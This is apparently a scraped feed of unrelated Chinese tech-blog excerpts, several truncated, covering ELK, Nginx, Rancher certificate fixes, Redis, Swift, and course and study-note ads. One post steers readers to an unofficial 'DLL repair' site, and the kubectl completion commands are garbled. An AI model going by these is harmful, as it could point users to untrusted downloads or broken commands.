插入图像. 列表标签: <ul>: 无序列表.<ol>: 有序列表.<li>: 列表项. 表格标签: <table>: 定义表格.<tr>: 定义表格行.<th>: 定义表头单元格.<td>: 定义表格数据单元格. 表单标签: <form>: 定义表单.<input>: 定义输入字段.<textarea>: 定义文本域.<button>: 定义按钮.<select>: 定义下拉列表.<label>: 定义表单标签. 样式和格式标签: <style>: 定义文档的样式信息.<div>: 定义文档中的一个区块.

私有部署ELK,搭建自己的日志中心(三)-- Logstash的安装与使用

一、部署ELK 上文把采集端filebeat如何使用介绍完,现在随着数据的链路,继续~~ 同样,使用docker-compose部署: version: "3" services: elasticsearch: container_name: elasticsearch image: elastic/elasticsearch:7.9.3 restart: always user: root ports: - 9200:9200 - 9300:9300 volumes: - ./elasticsearch/conf/elasticsearch.yml:/usr/share/elasticsearch/config/elasticsearch.yml - ./elasticsearch/data:/usr/share/elasticsearch/data - ./elasticsearch/logs:/usr/share/elasticsearch/logs environment: - "discovery.type=single-node" - "TAKE_FILE_OWNERSHIP=true" - "ES_JAVA_OPTS=-Xms1500m -Xmx1500m" - "TZ=Asia/Shanghai" kibana: container_name: kibana image: elastic/kibana:7.9.3 restart: always ports: - 5601:5601 volumes: - ./kibana/conf/kibana.yml:/usr/share/kibana/config/kibana.yml environment: - elasticsearch.hosts=elasticsearch:9200 - "TZ=Asia/Shanghai" depends_on: - elasticsearch logstash: image: elastic/logstash:7.9.3 restart: always container_name: logstash volumes: - ./logstash/conf/logstash.conf:/usr/share/logstash/pipeline/logstash.conf - .

el-tab切换出现蓝色边框问题解决

bug图: 公共样式文件全局加上以下代码 // tab切换时出现蓝色边框问题解决 .el-tabs__item:focus.is-active.is-focus:not(:active) { box-shadow: none !important; //切换阴影 border-radius: 0 !important; }

Ubuntu安装WordPress并使用Nginx作为Web服务器

在Ubuntu上安装和配置WordPress并使用Nginx作为Web服务器,以下是一个简单的操作流程: 步骤 1: 安装Nginx sudo apt update sudo apt install nginx 启动Nginx并设置开机自启: sudo systemctl start nginx sudo systemctl enable nginx 步骤 2: 安装MySQL数据库服务器 sudo apt install mysql-server 安装过程中会提示您设置MySQL的root密码。 启动MySQL并设置开机自启: sudo systemctl start mysql sudo systemctl enable mysql 步骤 3: 创建WordPress数据库和用户 登录到MySQL控制台: sudo mysql -u root -p 在MySQL控制台中执行以下SQL命令: CREATE DATABASE wordpress; CREATE USER 'wordpressuser'@'localhost' IDENTIFIED BY 'your_password'; GRANT ALL PRIVILEGES ON wordpress.* TO 'wordpressuser'@'localhost'; FLUSH PRIVILEGES; EXIT; 请记得将your_password替换为您选择的实际密码。 步骤 4: 安装PHP及相关模块

独立容器 Rancher Server 证书过期解决

问题 Rancher无法登录 容器报错X509:certificate has expired or is not ye valid 在某天需要发布新版本的时候,发现rancher无法登录,于是到服务器上查看rancher日志,发现以下内容: docker logs -f rancher --since=10m 解决 1、通过镜像确定rancher版本 2、参考rancher文档中独立容器Rancher Server证书更新解决 https://docs.rancher.cn/docs/rancher2/cluster-admin/certificate-rotation/_index/ 进入容器 <rancher_server_id>为容器id docker exec -it <rancher_server_id> /bin/bash 容器内操作 kubectl --insecure-skip-tls-verify -n kube-system delete secrets k3s-serving kubectl --insecure-skip-tls-verify delete secret serving-cert -n cattle-system rm -f /var/lib/rancher/k3s/server/tls/dynamic-cert.json exit 重启容器 docker restart <rancher_server_id> 执行以下命令刷新参数, server-url 为rancher登录地址 curl --insecure -sfL https://<server-url>/v3 再次重启容器 docker restart <rancher_server_id>

介绍几种mfc140u.dll丢失的解决方法,找不到msvcp140.dll要怎么处理

如果你在使用电脑时遇到mfc140u.dll丢失错误时,这可能会导致程序无法正常运行,但是大家不必过于担心。今天的这篇文章本将为你介绍几种mfc140u.dll丢失的解决方法,找不到msvcp140.dll要怎么处理的一些解决方法。 一.mfc140u.dll文件缺失会有什么影响 当mfc140u.dll文件丢失或损坏时,会直接影响工作效率和电脑使用体验 某些程序和游戏可能无法启动或在使用过程中出现崩溃。 可能无法安装或运行一些新软件,因为安装或启动过程中会检查DLL文件的完整性。 如果这些错误是由于恶意软件感染导致的mfc140u.dll丢失,那么用户的个人数据可能会面临风险。 二.修复mfc140u.dll文件 1.重新安装Microsoft Visual C++ Redistributable 最常见的原因是mfc140u.dll文件缺少,可以通过重新安装Microsoft Visual C++ Redistributable组件来解决这个问题。按照以下步骤进行操作。 访问Microsoft官方网站,下载与你的操作系统版本对应的最新Microsoft Visual C++ Redistributable软件包。 安装下载的软件包,根据提示完成安装过程。 完成后,重新启动电脑并检查是否成功解决mfc140u.dll丢失错误。 2.使用DLL修复工具 如果以上方法未能解决mfc140u.dll丢失错误,或觉得上面的方法比较复杂,那么你可以尝试使用DLL修复工具。这些工具可以一键扫描并修复损坏或丢失的DLL文件。请记住,选择可信赖的工具,并始终谨慎使用第三方软件。 在浏览器顶部输入:dll修复.site ,点击前往进入,并启动dll修复工具进行使用。 DLL修复工具_一键修复所有dll缺失msvcp140.dll丢失的解决方法–电脑修复精灵 点击工具。将工具启动后点击页面中的一键修复或手动修复都可以解决mfc140u.dll丢失的问题。 一键修复是修复mfc140u.dll文件包括其他的错误dll文件。 手动修复是单独修复mfc140u.dll文件。 两种修复方式都是能够有效的解决mfc140u.dll丢失方法。 3.运行系统文件检查工具(SFC) 如果重新安装Microsoft Visual C++ Redistributable未能解决问题,你可以尝试运行系统文件检查工具(SFC)来修复系统文件中的错误。请按照以下步骤进行操作: 打开命令提示符(以管理员身份运行)。 键入命令 "sfc /scannow",然后按下回车键。 系统将开始扫描和修复系统文件中的错误。等待扫描和修复过程完成。 完成后,重新启动电脑并检查mfc140u.dll丢失的问题是否成功解决错误。 重要提示:在尝试任何解决方法之前,请务必备份你的重要文件,并创建系统还原点,以防止意外情况发生。 三.mfc140u.dll错误消息提示 当mfc140u.dll文件丢失时,可能会遇到一下几种关于mfc140u.dll丢失的错误弹窗或提示: "程序无法启动,因为电脑中缺少mfc140u.dll。尝试重新安装程序以解决此问题。 "找不到 mfc140u.dll。" "无法注册mfc140u.dll。" "mfc140u.dll不是有效的Win32应用程序。" "mfc140u.dll丢失或损坏。" "此应用程序未能启动,因为mfc140u.dll未找到。重新安装应用程序可能会解决这个问题。" 四.可能受影响的应用程序和服务 mfc140u.dll与许多使用Microsoft Foundation Classes (MFC) 库编写的程序相关,这些程序依赖该DLL文件正常运行。被影响的应用程序和服务可能包括: 使用Visual Studio 2015编译的软件和游戏 需要Microsoft Visual C++运行时库的第三方软件 各类企业软件、工具、以及管理应用程序 对C++组件进行拓展或自定义的应用程序 mfc140u.dll丢失错误可能会影响到你的程序正常运行,但通过重新安装Microsoft Visual C++ Redistributable、运行系统文件检查工具(SFC)或使用DLL修复工具,你很有可能解决这个问题。请记住备份重要文件,并遵循逐步指南来顺利修复mfc140u.dll丢失错误。

iframe展示pdf、png、jpg

iframe展示pdf、png、jpg: 1、前端定义div: <div id="pdf-container"></div>/*dpf的div*/ <iframe id="imageFrame"></iframe>/*图片的div*/ 2、后端查询base64的流,前端页面初始化js方法:(pdf和图片,2个方法) /*pdf展示*/ function pdfToShow(){ // 这里的 base64Data 是你的 base64 编码的 PDF 数据 var base64Data =$("#fileBase64").val() console.log("base64Data",base64Data) const byteCharacters = atob(base64Data); const byteNumbers = new Array(byteCharacters.length); for (let i = 0; i < byteCharacters.length; i++) { byteNumbers[i] = byteCharacters.charCodeAt(i); } const byteArray = new Uint8Array(byteNumbers); const blob = new Blob([byteArray], { type: 'application/pdf' }); // 创建一个新的 URL,并设置文件名 const url = URL.createObjectURL(blob); var pdfContainer = document.

K8S kubectl 自动补全命令

K8S kubectl 自动补全命令 https://www.cnblogs.com/Dev0ps/p/12186027.html 1.安装bash-completion工具 yum install bash-completion -y 2.执行bash_completion source /usr/share/bash-completion/bash_completion 3.加载kubectl completion sourceecho "source > ~/.bashrc # 在您的 bash shell 中永久的添加自动补全 4.别名 您还可以为 kubectl 使用一个速记别名,该别名也可以与 completion 一起使用: cat >>/root/.bashrcalias k=kubectlcomplete -F __start_kubectl kEOFsource /root/.bashrc 5.使用 kubectl get pods -n kube-public testapp-6f7545bfbd-2qh9nkubectl get pods -n kube-public testap输入到此时,按TAB键自动把后面的补齐

error: unable to read askpass response from

报错信息 解决方法: 中文:文件-->设置-->版本控制-->Git-->勾选使用凭证帮助程序 英文:File -> Settings -> Version Control -> Git / Check "User credential Helper" 因为我的webstrom是中文版的,如图所示:

Redis BitMap(位图)

这里是小咸鱼的技术窝(CSDN板块),我又开卷了 之前经手的项目运行了10多年,基于重构,里面有要实现一些诸如签到的需求,以及日历图的展示,可以用将签到信息存到传统的关系型数据库(MySql、Oracle) 然后用 Sql 进行统计、也可以借助 Redis 中的 BitMap来实现签到需求。俩者的区别就在于,一个签到了100万年的项目,你用Mysql无论如何进行分库分表,落地到磁盘的上的数据体量都很大,且查询速度会变慢,但是用 Redis 存储数据占用的内存小,且统计效率更快。当然如果你怕Redis挂,也可以存俩份数据,一份放Mysql一份放Redis,利用 Redis 缓存考勤结果加快查询效率,但是占用的机器磁盘过大的问题还是没解决,下面介绍用 BitMap 如何实现下面这个签到日历。 这个项目的签到用到了海康的人脸识别SDK靠每天进行人脸识别打卡,然后记录签到信息的,就拿手动点击签到来说。整个流程如下。 用户点击签到按钮,发起一个签到请求给我们,先调用 getbit 命令,判断今天有没有进行签到过,没有然后调用 setbit 命令,把签到结果存入 BitMap(期间用户重复点击签到也没事,BitMap多次重复设置值的操作是幂等的) BitMap 介绍 https://redis.io/commands/bitop/ 下面的这段洋文是官网对BitMap的介绍 Bitmaps are not an actual data type, but a set of bit-oriented operations defined on the String type which is treated like a bit vector. Since strings are binary safe blobs and their maximum length is 512 MB, they are suitable to set up to 2^32 different bits.

CMEMS数据下载

CMEMS最近在更新数据库,有一些数据库不能像之前一样在网页上下载了,但是CMEMS推荐了一个工具Copernicus Marine Toolbox,通过脚本进行下载。 环境:Ubuntu20.04 一、 Copernicus Marine Toolbox安装 (原文为mamba或者python,这里用conda安装) 新建一个文件,命名为 copernicus-marine-client-env.yml,文件复制内容如下 name: cmc-beta channels: - conda-forge dependencies: - pip - pip: - copernicus-marine-client!=0.9.10 - python>=3.9,<3.12 创建环境 conda env create --file copernicus-marine-client-env.yml 激活环境 conda activate cmc-beta 二、下载数据 新建一个名为request_file.json文件 内容如下 { "dataset_id": "cmems_mod_glo_phy_my_0.083deg_P1D-m", "start_datetime": "2011-08-01T00:00:00", "end_datetime": "2011-08-31T23:59:59", "minimum_longitude": 155, "maximum_longitude": 210, "minimum_latitude": 55, "maximum_latitude": 70, "minimum_depth": 0, "maximum_depth": 3000, "variables": ["uo", "vo","thetao","so","zos","mlotst"], "output_filename": "CMEMS_Reanalysis_Aug2011.nc", "output_directory": "copernicusmarine_data" } 含义,下载2011年8月1日至8月31日50-70°N,155°E-210°E之间深度0-3000m的流速、位温、盐度、海表高度和混合层厚度的再分析数据,输出到copernicusmarine_data文件夹下的CMEMS_Reanalysis_Aug2011.nc dataset_id即为数据库的名称,可在CMEMS产品的Data access页面直接复制Dataset ID

Swift函数式编程——函数

目录 Swift函数式编程-函数 高阶函数(Higher order function) 一等函数(First class function) 闭包 函数柯里化(Function Curring) 函数式思维 使用函数解决问题 使用函数组合 总结 Swift函数式编程-函数 Swift支持函数式编程,这一篇介绍Swift中的函数。 高阶函数(Higher order function) 高阶函数,指可以将其他函数作为参数或者返回结果的函数。 Swift中的函数都是高阶函数,这和Scala,Haskell一致。与此对照的是,Java中没有高阶函数(Java 7支持闭包之前)。Java中方法没法单独存在,方法总是需要和类捆绑在一起。当你需要将一个函数传递作为参数给另外一个函数时,需要一个类作为载体来携带函数。这也是Java中监听器(Listener)的做法。 高阶函数对于函数式语言很重要,原因至少有两个: 首先,高阶函数意味着您可以使用更高的抽象,因为它允许我们引入计算的通用方法。例如,可通过抽象出一个通用机制,遍历数组并向其中的每个元素应用一个(或多个)高阶函数。高阶函数可以被组合成为更多更复杂的高阶函数,来创造更深层的抽象。 其次,通过支持函数作为返回值,就可支持构建动态性与适应性更高的系统。 一等函数(First class function) 一等函数,进一步扩展了函数的使用范围,使得函数成为语言中的“头等公民”。这意味函数可在任何其他语言结构(比如变量)出现的地方出现。一等函数是更严格的高阶函数。Swift中的函数都是一等函数。 闭包 闭包是一个会对它内部引用的所有变量进行隐式绑定的函数。也可以说,闭包是由函数和与其相关的引用环境组合而成的实体。 函数实际上是一种特殊的闭包,你可以使用{}来创建一个匿名闭包。使用 in 来分割参数和返回类型。 let r = 1...3 let t = r.map { (i: Int) -> Int in return i * 2 } map函数遍历了数组,用闭包处理了所有元素。并返回了一个处理过的新数组。 Objective-C在后期加入了对闭包支持。闭包是一种一等函数。通过支持闭包,Objective-C拓展其语言表达能力。但是如果将Swift的闭包语法与Objective-C的闭包相比,Swift的闭包显得相当简洁和优雅,Objective-C的闭包则显得有些繁重复杂。 函数柯里化(Function Curring) 函数柯里化(Function Curring),是指接受多个参数的函数变换成接受一个单一参数(最初函数的第一个参数)的函数,该函数返回一个接受余下参数的新函数。这个名词来源于逻辑学家 Haskell Curring。编程语言Haskell也取自这位逻辑学家的名字。 Haskell中函数都可以柯里化。在Haskell里的函数参数的型别声明也暗示了函数是柯里化的。Haskell中,返回值和参数之间,各个参数之间都是以->分隔。这是因为,如果你向可以接受多个参数的函数传入一个参数,函数仍然有返回值。它的返回值是另外一个函数。这个函数可以接受剩余的参数,我们称这个返回的函数为不全呼叫函数。本质上讲,Haskell的所有函数都只有一个参数。 下面语句在命令行中展示了Haskell里max的型别: Prelude> :type max max :: Ord a => a -> a -> a 其实也可以写作:

AI大模型引领未来智慧科研暨ChatGPT在地学、GIS、气象、农业、生态、环境等领域中的高级应用

以ChatGPT、LLaMA、Gemini、DALL·E、Midjourney、Stable Diffusion、星火大模型、文心一言、千问为代表AI大语言模型带来了新一波人工智能浪潮,可以面向科研选题、思维导图、数据清洗、统计分析、高级编程、代码调试、算法学习、论文检索、写作、翻译、润色、文献辅助阅读、文献信息提取、辅助论文审稿、新闻撰写、科技绘图、地学绘图(GIS地图绘制)、概念图生成、图像识别、教学课件、教学案例生成、基金润色、专业咨询、文件上传和处理、机器/深度学习训练与模拟、大模型API二次开发等特定任务,生成文本、图片、代码、语音、视频等不同形式的数据、模式和内容,成为不少科研工作者的第二大脑。通过大量生物、地球、农业、气象、生态、环境科学领域中案例,解锁大模型在科研、办公中的高级应用,一起探索如何优雅地使用大模型。 详情:180-3121-1455 微信 专题一、开启大模型 1 开启大模型 1)大模型的发展历程与最新功能 2)大模型的算法构架与底层逻辑 3)大模型的强大功能与应用场景 4)国内外经典大模型(ChatGPT、LLaMA、Gemini、DALL·E、Midjourney、Stable Diffusion、星火大模型、文心一言、千问等) 5)如何优雅使用大模型 案例1.1:开启不同平台的大模型 案例1.2:GPT不同版本的使用 案例1.3:大模型文件上传和处理 专题二、基于ChatGPT大模型提问框架 2 提问框架(提示词、指令) 1)专业大模型提示词,助你小白变专家 2)超实用的通用提示词和提问框架 3)高级提问技巧 案例2.1:设定角色与投喂规则 案例2.2:行业专家指令合集 案例2.3:角色扮演与不同角度提问 案例2.4:分步提问与上下文关联 案例2.5:经典提问框架练习,提升模型效率 专题三、基于ChatGPT大模型的数据清洗 3 基于ChatGPT的数据清洗 1)R语言和Python基础(勿需学会,能看懂即可) 2)数据清洗方法(重复值、缺失值处理、异常值检验、标准化、归一化、数据长宽转换,数据分组聚合) 案例3.1:使用大模型指令随机生成数据 案例3.2:使用大模型指令读取数据 案例3.3:使用大模型指令进行数据清洗 案例3.4:使用大模型指令对农业气象数据进行预处理 案例3.5:使用大模型指令对生态数据进行预处理 专题四、基于ChatGPT大模型的统计分析 4 基于AI大模型的统计分析 1)统计假设检验 2) 统计学三大常用检验及其应用场景 3) 方差分析、相关分析、回归分析 4) 混合线性模型 5) Meta分析 案例4.1:使用大模型对生态环境数据进行正态性检验、方差齐性检验 案例4.2:使用大模型进行t检验、F检验和卡方检验 案例4.3:使用大模型指令对生态环境数据进行方差分析、相关分析及回归分析 案例4.4:使用大模型指令构建混合线性模型 案例4.5:使用大模型指令对文献收集数据进行Meta分析 专题五、基于ChatGPT大模型的机器学习 5 基于AI大模型的机器/深度学习(无需代码基础即可实现) 1)机器/深度学习 2)机器学习监督学习(回归、分类)、非监督学习(降维、聚类) 3)特征工程、数据分割、目标函数、参数优化、交叉验证、超参数寻优 1)深度学习算法(神经网络、激活函数、交叉熵、优化器) 2)Pytorch基础 3)卷积神经网络、长短期记忆网络(LSTM) 案例5.1:使用大模型指令构建回归模型(多元线性回归、随机森林、XGBoost、LightGBM等) 案例5.2:使用大模型指令构建分类模型(支持向量机、XGBoost等) 案例5.3:使用大模型指令构建降维模型 案例5.4:使用大模型指令构建聚类模型 案例5.5:使用大模型指令构建深度学习模型,预测气象数据 案例5.6:使用大模型指令构建深度学习模型,进行图像识别

简单了解nginx

参考: B站《30分钟Nginx入门教程》 目录 反向代理反向代理和正向代理的区别 负载均衡虚拟主机 nginx是一个web服务器。 反向代理 反向代理和正向代理的区别 正向代理:代理客户端 反向代理:代理服务端 举个例子: 1正向代理:访问国外网站时,由于网络的原因无法访问,使用vpn这种代理服务器作为客户端进行访问。vpn就是正向代理,这个过程对于服务器来说客户端是透明的。 2反向代理:访问谷歌时,后面有成千上万的服务器,但是对外只暴露一个域名,我们只能访问这个域名,然后请求会被转发到后面的服务器上(隐藏真实的服务器ip端口)。这个过程对于客户端是透明的。 负载均衡 通过指定的算法把不同的请求转发到不同的服务器上。 虚拟主机 在网站访问量不大的情况下,一个nginx服务,可以同时提供多个网站的访问。(即正常情况下,一个nginx服务器提供一个网站的服务。现在一个nginx提供多个网站的服务)。 http { # 其他全局配置 server { listen 80; server_name example.com www.example.com; location / { root /path/to/website; index index.html; } # 可以添加其他配置,如日志、SSL证书等 } server { listen 80; server_name anotherdomain.com; location / { root /path/to/another/website; index index.html; } # 可以添加其他配置,如日志、SSL证书等 } # 其他http块配置 } 上面的例子中,有两个server块,分别配置了两个虚拟主机,分别对应两个不同的域名example.com和anotherdomain.com。每个server块可以有自己的根目录、索引文件、日志配置等。根据实际需求,还可以添加SSL证书配置以启用HTTPS等其他设置。

Swift并发的结构化编程

并发(concurrency) 早期的计算机 CPU 都是单核的,操作系统为了达到同时完成多个任务的效果,会将 CPU 的执行时间分片,多个任务在同一个 CPU 核上按时间先后交替执行。由于 CPU 执行速度足够地快,给人的错觉就像在同时执行多个任务。这种通过不同任务的指令切换来实现多任务的技术,称为「concurrency」,中文术语为「并发」。 后来,CPU 发展到两核、多核,同一个时刻,在不同的核上可以执行不同的任务。理论上,有 N 个 CPU 核即可同时不受干扰地在 N 个核上都完全独立运行一个任务。这种通过在不同 CPU核 上运行多任务的技术称为「parallel」,中文术语为「并行」。 现代操作系统的进程和线程调度已经完全屏蔽了这两种多任务技术的差异。大部分情况下,开发者不需要关心两个任务到底是在不同的 CPU 核上执行还是在一个 CPU 核的不同时间分片上执行。因此,在很多技术文档中,也常常使用「concurrency」一词表示多个任务同时进行这种特性,用于充分利用 计算机 系统的多核处理器,提高程序的性能和效率。 结构化编程 在我们开始学习 C 语言时,尽量不用或少用 goto 语句。尽管 C 语言规范已经限制了 goto 必须在本函数内部跳转,但使用 goto 语句仍然有着很大的不确定性:它可以跳转到函数中的任意位置。想象一下,如果函数中大量使用 goto 语句会是什么样的景象。如果你曾经了解过汇编语言,那么一定对汇编语言的看似排列整齐实则包含各种跳转的逻辑深恶痛觉,开发者必须一个语句一个语句地分析,小心翼翼地探索才能理清其中关系。过度使用 goto 会和使用汇编面临一样的问题。 好在现代编程语言早就经过了早期的洪荒时代,几乎每一种现代编程语言都会包含函数、条件语句、循环等基本要素。这些我们早已习以为常的代码逻辑,恰恰正是体现「结构化编程」的良好范例:使用函数、条件语句、循环等的代码的控制流总是单一的,不会出现类似 goto 这样的无法预知跳转到哪里的「分叉」。 「结构化编程」的核心思想就是代码的抽象和封装,确保程序运行路径总是从单一入口进入,执行结束后在单一出口退出,不会有第二种情况。以函数为例,不管函数中实现了多么复杂的逻辑,调用方根本不需要关心函数内部是如何实现的,当调用发生时,执行控制权交给该函数,无论是否发生错误、是否存在未能准备好的资源,该函数一定会在未来的某一个时刻返回结果并将执行控制权交还给调用方。 我们一直在享受现代编程语言「结构化编程」提供的便利,在我们日常开发的同步代码中,随处可见「结构化编程」的影子。 非结构化并发 在单线程编程中,借助函数、条件判断等控制流使得「结构化编程」早已司空见惯;但在并发编程中,涉及到线程和并发任务的切换,就没有那么容易实现「结构化」了。事实上,在过去的很长一段时间,「非结构化并发」仍然是主流。 非结构化并发最明显的问题就是很多时候会浪费 CPU 算力。当线程进入到耗时 I/O 操作时就处于阻塞状态,必须等待 I/O 操作完成,当很多线程都出现这种状态时,CPU 实际上就处于低负载或空闲状态而造成算力的浪费 - 空闲的算力本可以用来执行其他计算任务。 另外,非结构化并发将会异步调用多出一个一个的执行分支,这些分支并没有像函数调用那样有一个统一的出口,也没有办法将并发任务的执行结果或错误信息在调用者的线程上下文中回传。来看一个使用「非结构化并发」的示例: func task0() { print("in task0") } func task1() { DispatchQueue.

ChatGPT爆火一周年,快来拥有专属你的ChatGPT应用!

推荐阅读 给软件行业带来了春天——揭秘Spring究竟是何方神圣(一) 给软件行业带来了春天——揭秘Spring究竟是何方神圣(二) 轻松驾驭JDBC:一篇文章帮你搞定数据库连接 文章目录 推荐阅读前言准备工作部署步骤安装基础环境安装宝塔部署注意点关于服务器关于域名 完成 前言 在过去的一年中,有一个名字在科技界引起了热烈的讨论和广泛的关注——那就是ChatGPT。ChatGPT以其无与伦比的语言理解和生成能力,以及其独特的交互方式,已经赢得了全球数百万用户的热烈欢迎和深深的信任。而这篇文章将为你提供详细的步骤,指导你如何部署你自己的ChatGPT应用。 准备工作 一台服务器(国内,国外都可以,优先国外服务器) 服务器基础规格: 至少有1个CPU至少有512MB内存至少有10GB的硬盘空间服务器安装的系统Ubuntu,Centos,Debian都行,版本尽量新一点。(这里以Debian10为例) 你的私人电脑(笔记本等)魔法上网工具(可选)github账号(可选) 部署步骤 安装基础环境 打开电脑,使用ssh连接工具(市面上常见的都行,这里以mobaxterm为例) 输入自己服务器的域名和密码,即可连接成功 连上服务器后,将服务器原有的基本的东西升级安装一下。 sudo apt-get update sudo apt-get upgrade 出现个小插曲,找不到该命令。执行以下代码:apt-get install sudo 更新源为国内镜像,这里选用阿里的源。 deb https://mirrors.aliyun.com/debian/ bullseye main non-free contrib deb-src https://mirrors.aliyun.com/debian/ bullseye main non-free contrib deb https://mirrors.aliyun.com/debian-security/ bullseye-security main deb-src https://mirrors.aliyun.com/debian-security/ bullseye-security main deb https://mirrors.aliyun.com/debian/ bullseye-updates main non-free contrib deb-src https://mirrors.aliyun.com/debian/ bullseye-updates main non-free contrib deb https://mirrors.aliyun.com/debian/ bullseye-backports main non-free contrib deb-src https://mirrors.aliyun.com/debian/ bullseye-backports main non-free contrib 在更新源之前,先备份一下sources.

Hbuilder运行小程序在微信开发者工具打开报错:工具的服务端口已关闭。要使用命令行调用工具,请在下方输入 y 以确认开启,或手动打开工具 -> 设置 -> 安全设置,将服务端口开启。

1.问题描述: 2.解决 手动设置打开服务端口。 注意!!!是在微信开发者工具打开安全设置开启服务端口。我一直以为是在Hbuilder打开,死活找不到安全设置在哪里,浪费了很多时间QAQ 打开微信开发者工具,右上角小齿轮 已经在微信开发者工具打开项目的,在这里找“设置”

2023-飞速成长的一年

回顾2023 2023年成为了一个充满魔幻色彩的一年,虽然行业面临衰退,未来充满迷茫,但正是这些压力促使我更快地成长。 2月中旬入职开始,先后完成了一些学习任务: Spring Cloud Alibaba Demo学习 作者:B站图灵学院周瑜 前端Vue学习-达成目标Vue2.X、3.X工作中会抄,能满足日常需求 《微服务架构设计模式》作者:克里斯·理查森 该书深入介绍了微服务架构的设计模式,非常适合从单体升级到微服务的小伙伴阅读,包含了多种微服务架构设计和最佳实践,更为难得的是其中包含了许多作者对于方案的思考 《Seckill秒杀系统》作者:冰河 该专栏可以学到如 系统混合型缓存架构的设计与实现、系统限流思想与方案、系统风控模型架构设计与实现、单库存热点问题与方案等等企业级高并发解决方案 《高并发架构实战课》作者:李智慧 该专栏提供了许多高并发情况下系统架构的方案 《深入理解java虚拟机》前6章 作者:周志明 该书前六章令我对GC有了新的认识,同时对Java虚拟机的内部机制和运行原理有了更深入的了解 《分布式协议与算法实战》作者:韩健 该书介绍了分布式系统中常见的协议和算法,并提供了实战经验。这对于理解分布式系统的设计和实现是非常重要的,毫不夸张的说:令我茅塞顿开,打开了新世界的大门 《实战高并发设计模式》作者:冰河 该专栏让我对处理复杂的并发任务有了更深入的理解,让我对并发编程有了更全面的认识,期待将这些新知识应用到实际工作中,更有效地优化系统性能 《从Paxos到ZooKeeper》作者:倪超 该书以分布式一致性理论为起点,介绍了Paxos和ZAB协议,继而引出ZooKeeper,全面介绍了ZK的实际应用场景 以及 其内部实现原理 星球社区:Tom、不才陈某 艾小仙等博主部分专栏与博客 微信公众号:诸多大厂优秀文章阅读 在这短短的一年里,我的成长飞速迸发,深感行业前辈们经典著作的引领与时常交流的小伙伴们的启发对我的发展产生了积极的推动作用。 感激这段时光里得到的指引与支持,让我更加坚定地走在成长的道路上。 拥抱2024 暂定阅读清单: 《左耳听风》作者:陈皓 《算法秘籍》作者:王一博 《labuladong的算法笔记》作者:付东来 《Kong网关入门、实战、进阶》作者:孔庆雍 《数据密集型应用系统设计》作者:Martin Kleppmann 《计算》作者:吴瀚清 《Elasticsearch数据搜索与数据分析》作者:王深湛 《Redis设计与实现》作者:黄健宏 2024目标: 数据结构、算法扫盲及略微深入、深入研究Redis、大数据扫盲[结合业务理解相关设计方案] 最后:砥砺前行,不负韶华,共勉

西北大学844计算机类考研-25级初试高分总攻略

西北大学844计算机类考研-25级初试高分攻略 个人介绍 ​ 本人是西北大学22级软件工程研究生,考研专业课129分,过去一年里在各大辅导机构任职,辅导考研学生专业课844,辅导总时长达400小时,辅导学生超过20余人,自编844考研笔记已经帮助百余名学子。 版本更新 ​ 在23级、24级考研过程中,我陆续整理了第一版和第二版844考研笔记,笔记主要内容来源是844、851往年真题以及我给学生上课所整理的课件,通过400小时的辅导以及百余名学子的反馈,近两年对笔记不断优化,题目以及答案不断优化,已经逐步形成了249页的、比较专业的844考研笔记。 专业课高分经验分享 本人目前辅导超过20余名学生,总结科学复习844经验如下: 前期学习过程:前期学习的过程可以先看王道视频,计网、操作系统、数据结构等。 中期刷题过程:1.数据结构本套笔记完全够刷,后续可补充耿国华课本每章节后的典型与提高以及课本例题即可;2.操作系统资料里有近十年真题以及典型例题,后续刷题可根据典型例题再去多找找类似的计算题做一下;3.计算机网络主要是考计算题,本套资料整理了9大类计算题,后续可针对性的找找这9类题进行训练。 后期复习过程:临考试前两个月不需要再刷任何新题,对刷过的题进行反复记忆、理解、背诵。本套资料里有很多背诵性的概念题考点也有844常考的50道代码题,反复刷资料以及中期补充的计算题即可! 经过前期、中期、后期科学复习,844计算机类综合初试125+ 不是什么问题! 2025版笔记特点 结构清晰、答案规范、图表清晰、纯键盘输入、格式优美、11万字(共249页) 真题全面、涉及数据结构、计算机网络、操作系统能找到的所有真题。归纳了网数院845的计算机网络真题、3年的西北大学计算机网络期末题。还有给某机构出的两套844考研卷及详细解析 解析全面,力求准确,对真题答案不断进行优化,已经过百余名学子的检验,感谢大家反馈的意见,已优化。 需要资料者,或者对资料里题目或者答案感觉有问题,欢迎随时咨询,vx:hello_chiyi 本笔记适用考研人群:西北大学-计算机科学与技术(学硕-081200); 西北大学-软件工程(学硕-083500);西北大学-软件工程(专硕-085405) 个人认为本笔记的突出作用 帮助844考研学子获得更多844的相关信息,打破自命题信息壁垒。对历年真题进行了详细解析,格式优美,纯机打,考研学生不必为各种错误答案烦恼,节省大家搜索时间。对844初试涉及的所有知识点进行了整理,大家不用浪费时间再去自己整理,节省大家总结时间以及降低试错成本。 2025级(第三版资料)优化内容 资料相关图片 资料封面 目录1 目录2 目录3 内容节选 内容节选 内容节选